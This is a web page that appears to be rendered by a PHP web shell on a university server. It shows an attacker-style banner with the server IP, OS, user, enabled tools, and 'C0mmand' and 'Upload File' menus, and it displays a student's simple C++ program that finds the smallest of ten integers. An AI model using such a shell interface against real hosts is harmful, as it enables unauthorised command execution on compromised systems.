Server IP : 172.16.15.8 / Your IP : 3.147.65.47 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/aredwards/CS212/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// // // #include <iostream> using namespace std; const int MAX = 10; void readNum(int[]); // fun. prototype int smallest(const int[]); int main() { int num[MAX]; int small; // read the data to array readNum(num); // call function - no type, const, .. modifier // find the smallest small = smallest(num); // calculate average and largest. // out // cout << num[0] << "\t" << num[9]; cout << "The smallest is: " << small; cout << "\n\nDone. Bye-Bye.\n\n"; return 0; } // fun that read 10 numbers to an array void readNum(int data[]) { cout << "Input 10 integers: "; for(int i=0; i<10; i++) cin >> data[i]; } // find the smallest int smallest(const int data[]) { int s = data[0]; for(int i=0; i<10; i++) if(s > data[i]) s = data[i]; return s; }